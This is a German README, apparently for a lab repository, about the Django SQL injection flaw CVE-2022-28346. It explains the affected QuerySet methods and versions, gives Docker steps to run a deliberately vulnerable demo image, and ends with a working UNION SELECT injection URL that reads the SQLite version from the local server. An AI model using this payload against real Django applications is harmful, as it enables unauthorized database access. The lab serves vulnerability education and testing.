
In Django-Paket wurde ein Fehler gefunden, der zu einer SQL-Injection führt. Dieser Fehler ermöglicht es einem Angreifer, mithilfe eines manipulierten Wörterbuchs mit bösartigen SQL-Abfragen die Datenbank vollständig zu kompromittieren.
Ein Fehler wurde im Django-Paket gefunden, der zu einer SQL-Injection führt. Dieser Fehler ermöglicht es einem Angreifer, mithilfe eines manipulierten Wörterbuchs, das bösartige SQL-Abfragen enthält, die Datenbank vollständig zu kompromittieren.
Im Code-Repository oben finden Sie den detaillierten Analysebericht (PDF) zu CVE-2022-28346.
CVE-2022-28346 ist eine kritische Schwachstelle, die in verschiedenen Versionen von Django, einem beliebten Python-Webframework, identifiziert wurde. Diese Schwachstelle betrifft insbesondere Django-Versionen 2.2 vor 2.2.28, 3.2 vor 3.2.13 und 4.0 vor 4.0.4.
Der Kern des Problems liegt in den Methoden QuerySet.annotate(), aggregate() und extra() in Django. Diese Methoden sind anfällig für SQL-Injection-Angriffe, wenn Spaltenaliase zusammen mit einem manipulierten Wörterbuch (mit Wörterbucherweiterung) als übergebene **kwargs verwendet werden. SQL-Injection ist eine Angriffsart, die es einem Angreifer ermöglicht, in die Abfragen einzugreifen, die eine Anwendung an ihre Datenbank stellt. Sie kann verwendet werden, um Daten einzusehen, die sie normalerweise nicht abrufen können, einschließlich Daten anderer Benutzer oder anderer Daten, auf die die Anwendung selbst zugreifen kann. In einigen Fällen könnte ein Angreifer diese Daten ändern oder löschen, was die Datenintegrität beeinträchtigt.
Um einen gründlichen Test dieser Schwachstelle durchzuführen, stellen Sie sicher, dass ausreichend freier Speicherplatz auf Ihrer Festplatte vorhanden ist. Mindestens 1,2 GB sind erforderlich, um den Schwachstellentest erfolgreich durchführen zu können.
Wenn Sie bereits Docker installiert haben, können Sie diesen Abschnitt überspringen und direkt mit dem nächsten Anweisungssatz fortfahren.
Um mit dem Testen dieser Schwachstelle zu beginnen, installieren Sie Docker:
Vergewissern Sie sich, dass Docker betriebsbereit ist, bevor Sie mit den nächsten Schritten fortfahren.
Führen Sie in Ihrem Terminal den folgenden Befehl aus, um das Docker-Image zu erhalten, das wir erstellt und auf DockerHub hochgeladen haben:
sudo docker pull marouanekamal/cve-2022-28346:latest

Warten Sie, bis das Docker-Image vollständig heruntergeladen ist. Wenn Probleme auftreten, könnte dies an Ihrer Internetverbindung liegen; stellen Sie sicher, dass Sie eine stabile und aktive Verbindung haben.
Nachdem die Installation abgeschlossen ist, überprüfen Sie, ob das Image vorhanden ist, indem Sie den folgenden Befehl ausführen:
sudo docker images

Sie können das Docker-Image nun mit dem folgenden Befehl ausführen:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

Jetzt läuft der Server und wir können diese CVE ausnutzen ;)
Nachdem Sie das Docker-Image ausgeführt haben, können Sie den folgenden Link aufrufen, um zu überprüfen, ob die URL erreichbar ist:
http://0.0.0.0:8000/

Das Wort ok wird angezeigt, was bedeutet, dass die URL erreichbar ist und alles einwandfrei funktioniert!
Greifen wir nun diese Schwachstelle mithilfe von SQL-Injection an. Geben Sie die folgende URL ein, um dies zu tun:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

Wir konnten die Version der vom Server verwendeten SQLite ermitteln ;)